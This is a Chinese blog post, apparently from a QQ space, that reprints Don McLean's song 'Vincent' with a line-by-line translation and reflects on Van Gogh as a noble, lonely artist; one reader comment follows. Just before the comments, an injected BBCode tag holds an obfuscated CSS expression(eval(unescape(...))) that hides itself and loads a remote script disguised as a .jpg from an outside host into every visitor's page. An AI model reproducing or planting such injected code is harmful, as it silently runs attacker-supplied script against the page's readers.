没有人能配得上那颗高贵而孤独的灵魂

摘抄、转载

 

《星夜》


梵高自画像





向日葵




Vincent(Starry Starry Night)
Starry starry night
(繁星点点的夜晚)
Paint your palette blue and gray
(你的画版涂满了灰蓝)
Look out on a summer's day
(你在那夏日向远处远眺)
With eyes that know the darkness in my soul
(用你那双能洞悉我灵魂的双眼)
Shadows on the hills
(影像重叠的层层群山)
Sketch the trees and the daffodils
(点缀着茂密的树林与美丽的水仙)
Catch the breeze and the winter chills
(颜色跳跃在雪白的亚麻布上)
In colors on the snowy linen land
(捕捉着冬去春来的乍暖还寒)
Now I understand
(如今我才明白)
What you tried to say to me
(你想对我说的是什么)
How you suffered for your sanity
(你为自己的清醒承受了多少的苦痛)
How you tried to set them free
(你多么努力的想让它们得到解脱)
They would not listen they did not know how
(却无人理会  无人倾听)
Perhaps they'll listen now
(也许 人们现在已有所改变)
Starry starry night
(繁星点点的夜晚)
Flaming flowers that brightly blaze
(火红的花朵像燃烧的火焰)
Swirling clouds in violet haze
(舒卷的云朵似紫罗兰的娇颜)
Reflect in Vincent's eyes of china blue
(映射在文森特湛蓝而忧郁的双眼)
Colors changing hue
(色彩变化万千)
Morning fields of amber grain
(清晨里琥珀色的田野)
Weathered faces lined in pain
(满布风霜的脸孔刻画着痛苦)
Are soothed beneath the artist's loving hand
(在画才充满爱的画笔下得到了抚慰)
Now I understand
(如今我才明白)
What you tried to say to me
(你想对我说的是什么)
How you suffered for your sanity
(你为自己的清醒承受了多少的苦痛)
How you tried to set them free
(你多么努力的想让它们得到解脱)
They would not listen they did not know how
(却无人倾听  无人倾听)
Perhaps they'll listen now
(也许 人们现在已有所改变)
For they could not love you
(因为他们当时无法爱你)
But still your love was true
(可是你的爱却依然真实)
And when no hope was left inside
(当内心的希望全部破灭)
On that starry starry night
(在那个繁星点点的夜晚)
You took your life as lovers often do
(你像许多绝望的恋人般结束了自己的生命)
But I could have told you
(但我却没能告诉你)
Vincent,This world was never meant
(文森特  这个世界根本配不上)
for one as beautiful as you
(生命如你般灿烂的一个人)
Starry starry night
(繁星点点的夜晚)
Portraits hung in empty halls
(空旷的大厅中你的画像独自安然)
Frameless heads on nameless walls
(无框的自画像挂在无名的墙上)
With eyes that watch the world and can't forget
(有着注视人世而无法忘怀的眼睛)
Like the strangers that you've met
(就像你曾见过的陌生人)
The ragged men in ragged clothes
(那些衣着褴褛、境遇堪怜的人)
The silver thorn of bloody rose
(就像血红玫瑰上的银刺)
Lie crushed and broken on the virgin snow
(夭折在初雪的大地上碾做尘埃)
Now I think I know
(我终于明白了)
What you tried to say to me
(你想对我说的是什么)
How you suffered for your sanity
(你为自己的清醒承受了多少的苦痛)
How you tried to set them free
(你多么努力的想让它们得到解脱)
They would not listen
(却依然无人理会)
they aren't listening still
(也许 永远无人倾听  永远)

     你在那夏日向远处远眺
     用你那双能洞悉我灵魂的双眼
     听着这首深情动人的歌,看到歌词的内容,这首歌就像是渗透到我灵魂深处,不知不觉中泪流满面 ......
     你为自己的清醒承受了多少的苦痛
     你多么努力的想让它们得到解脱
     却依然无人理会
     也许 永远无人倾听  永远
     宁愿清醒着痛苦的人,永远无法忍受糊涂的美好,注定要比别人承受更多......
     可是你的爱却依然真实
     文森特  这个世界根本配不上
     生命如你般灿烂的一个人
     是的,没有人能配得上他那颗高贵而孤独的灵魂 !  
     Vincent(Starry Starry Nigh )歌曲创作的灵感来自荷兰后印象派画家文森特.梵高的一幅著名的画作《Starry Starry Night》(星夜),整首曲子的配器就是一把木吉他,极致的简约之美,却浑如天成,有一种如诗如画般的唯美。歌词的意境多有梵高色彩浓烈的画组成,而歌名“星光灿烂的夜”本身就是梵高的一幅画的标题。
     梵高画下《Starry Night》时,绝不会想到,81年后,美国乡村民谣歌手Don McClean看到这幅画,会写出这首《Starry Starry Night》来献给他。不知被他所感动过而又曾抛弃过他的世界能不能由此给他带来些许感动。  
    艺术到了极至是相通的,而艺术更能超越时空的限制。艺术的孤寂使两位大师的心灵碰撞到一起,产生了强烈的共鸣。Don McClean用叙事诗般的歌曲,把人们带入了梵高浓烈的色彩中,他用柔和的歌声贴近着梵高起伏的心灵,抚摸着每个人的灵魂,述说着对大师的理解和敬仰,触动着人们心灵深处对凄美的渴望。那略带磁性的嗓音,伴以平和的原声吉它拨动着一代人又一代人的心弦,也感动着热爱生活,心存希望的人们。
     我空间这首歌的版本是西班牙的胡里奥.伊格莱西亚斯翻唱的。这的确是一首感人的好歌,我对它是一听钟情。
     Starry Starry Nigh 来自梵高的作品,梵高在疯狂时割下了自己的耳朵。我有一条裙子就是有向日葵的,因为喜欢梵高的向日葵,99年在北京看到那条裙子,妹妹和我立刻都喜欢上了,说像梵高的作品,立刻买了下来。
     但凡诗人、作家、画家等艺术家,都有着异于常人的敏感思维和情感,或抑郁、或癫狂,他们眼中的世界和我们所看到的不同,透过表象,他们看到的更多,感受到的也更多......
    真正的艺术家都有一颗高贵而孤独的灵魂
    因为高贵,所以孤独
    保留内心世界的完美,哪怕是孤独的,越是高尚就越不幸福 ......
    没有人能配得上他那颗高贵而孤独的灵魂 !

 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

文章评论

叶浪天

[ft=,4,楷体_gb2312]仅仅喜欢这首歌!对梵高这人没有太多的了解,对他的画也不懂得欣赏。[em]e113[/em]在此感谢逸儿推荐的这首歌。[/ft]